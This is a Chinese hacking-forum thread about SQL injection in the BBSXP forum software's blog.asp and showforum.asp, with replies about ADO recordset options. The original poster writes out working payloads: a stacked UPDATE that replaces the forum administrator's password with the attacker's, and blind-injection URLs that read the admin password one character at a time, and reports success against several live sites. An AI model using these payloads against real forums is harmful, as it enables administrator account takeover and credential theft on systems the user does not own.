返回列表 发帖

[讨论]一个ASP中SQL语句的基本问题

[讨论]一个ASP中SQL语句的基本问题
  议题提交:职业欠钱
信息来源:邪恶八进制安全小组

最近学习BBSXP漏洞时,发现一个很奇怪的地方。
blog.asp中,开头部分是这么写的:
id=HTMLEncode(Request("id"))

top

if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
看起来漏洞非常的大,ID变量只是简单的经过HTMLEncode过滤就放到了SQL语句中。在AC版中很容易构造union查询得到密码等敏感信息。可是在MSSQL中却不行,原因先不说,也许大家也知道。
可是问题来了,照常理,我们只需要构造多几个语句来执行update什么的危害也就够大了。
为此我构造
id=1 update clubconfig set adminpassword=(select userpass from [user] where username=0xXXXX(这里是我的用户名的十六进制,用以绕开单引号)) select * from [calendar]
这个句子在查询分析器里执行正常,可是提交到BBSXP的blog.asp时却出错了
Microsoft OLE DB Provider for SQL Server 错误 &#39;80040e14&#39;

sp_cursoropen/sp_cursorprepare: 语句参数只能是单个 SELECT 语句或单个存储过程。

/xp/blog.asp,行 14

于是检查14行出的代码,是这么写的:
rs.Open sql,Conn,1
对比上次的showforum.asp,发现showforum.asp是这么写的:
if PageCount<2 then
sql="select top "&pagesetup&" * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
Set Rs=Conn.Execute(sql)
else
sql="select * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"

rs.Open sql,Conn,1
end if
如果我没有理解错的话,showforum.asp中,首先需要判断PageCount是否大于1页。(PageCount>2)
如果不大于的话,使用Set Rs=Conn.Execute(sql)执行。
否则使用rs.Open sql,Conn,1执行SQL语句。

于是问题来了。如果blog.asp中出问题是因为执行SQL语句的方式不同(rs.Open sql,Conn,1而不是Conn.Execute(sql))
那么在showforvm.asp中,当页数大于2,update就应该会失败,可是事实上我们选择了多个站点测试均成功。而放到blog.asp中就必然提示上述错误。
我曾搜过不少关于
rs.Open sql,Conn,1的资料,大体上都是说什么rs.Open sql,Conn,A,B 一类的。现在这里只有一个数 1,那么这个1 是A还是B?
这个问题想了好久,实在想不出来,故到此麻烦前辈。写的很长,抱歉,我不怎么会表达
谢谢各位指点个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP 少女暴富的隐秘(图)

勇敢的风
技术核心组

HTMLEncode(Request("id"))可能是一个陷阱,他是一个函数,不是asp的对象属性风,有时静,有时猛风,有时喜,有时恨风,有时大,有时小我,我是风,我爱风我是风流的风

帖子197 精华28 积分5191 阅读权限200 性别男 来自河南洛阳 在线时间126 小时 注册时间2004-11-21 最后登录2008-4-6 查看个人网站
查看详细资料TOP 您知道您年薪应是多少?

职业欠钱
荣誉会员

TOP

这不是什么陷阱的问题了.HTMLEncode是在setup.asp中定义的,原型如下:
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"&#39;","&#39;")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
也就是一个用来过滤掉一些HTML字符的函数而已
要绕开它进行SQL 注射很容易.像上次ShowForum.asp就是这样的
这个问题还没解决,现在又遇到了个新问题.
http://site/bbs/blog.asp?id=1%20and%20(select%20substring(adminpassword,1,1)%20from%20clubconfig)%20between%200x30%20and%200x5a
这是对blog.asp的SQL版利用方式.结果是,有些论坛可以成功,一位一位的暴出密码,而有些则出错
Microsoft OLE DB Provider for SQL Server 错误 &#39;80040e21&#39;
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/bbs/blog.asp,行 14
很是郁闷,个人感觉语句是一点问题也没有的
上次玩shwoforum.asp时是因为语句太长(感觉.因为改后抬密码的时候有32位,要分两次,具体的分析见本人发表在2005年5月的《黑客X档案》上的文章)而这次感觉不像~
因为换成一些简单的SQL语句是不出错的:
http://site/bbs/blog.asp?id=1%20and%20exists%20(select%20today%20from%20clubconfig)
而在后面拼命的加 and 1=1 and 1=1
比如
http://site/bbs/blog.asp?id=1%20and%20exists%20(select%20today%20from%20clubconfig)%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1
有兴趣你还可以自己再加。
反正就是不出错
这又是一个问题,还是老话,希望大家一起来讨论一下个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP 软件项目外包

职业欠钱
荣誉会员

TOP

那可以帮忙解释一下两种执行SQL语句的区别吗?
Set Rs=Conn.Execute(sql)应该是无条件执行,不存在游标或锁定的问题
rs.Open sql,Conn,1
照楼上的说法是 A,(我之前也一直这么猜测)
那么,这种执行就只能执行select而不能update了?
从网上搜的资料如下:
RS.OPEN SQL,CONN,A,B
A:
ADOPENFORWARDONLY(=0)
只读,且当前数据记录只能向下移动
ADOPENKEYSET(=1)
只读,当前数据记录可自由移动
ADOPENDYNAMIC(=2)
可读写,当前数据记录可自由移动
ADOPENSTATIC(=3)
可读写,当前数据记录可自由移动,可看到新增记录

B:
ADLOCKREADONLY(=1)
缺省锁定类型,记录集是只读的,不能修改记录
ADLOCKPESSIMISTIC(=2)
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。
ADLOCKOPTIMISTIC(=3)
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。
ADLOCKBATCHOPTIMISTIC(=4)
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP

jinsdb
Jinsdb

晶莹剔透§烈日灼然

TOP

有的支持多语句执行
有的不支持.
支持的就成功了
帖子18 精华0 积分244 阅读权限40 性别男 在线时间117 小时 注册时间2005-4-20 最后登录2008-7-22 查看详细资料TOP 良辰择日,预测咨询,公司改名,权威易经

职业欠钱
荣誉会员

TOP

……
默认MSSQL本身就是支持多语句执行的
不过在这个漏洞中会提示 只允许单个的select 什么的和存储过程(原话不记得了)
所以我初步猜测是由于执行SQL语句的方式不同(见楼顶帖)
可是又找不到权威资料
所以来这里找大家讨论一下,希望有知道的朋友指点一下个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP 良辰择日,预测咨询,公司改名,权威易经

职业欠钱
荣誉会员

TOP

关于第二个问题已经解决了~~
现在还是想知道我的猜测是不是对的:
rs.Open sql,Conn,1 --->只能执行一个查询的语句
Set Rs=Conn.Execute(sql) -->只管执行好了,可多语句,并且是任意的

因为测试的样子看起来好象就是这样的
不过在这种情况下,对showforum.asp中的page不小于2的情况还是有问题
郁闷了~个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP 让女孩一夜变的更有女人味

chinadu
晶莹剔透§烈日灼然

TOP

JDBC驱动的问题
帖子9 精华0 积分27 阅读权限40 性别男 在线时间7 小时 注册时间2005-4-15 最后登录2008-7-12 查看个人网站
查看详细资料TOP

heiye88
晶莹剔透§烈日灼然

TOP

返回列表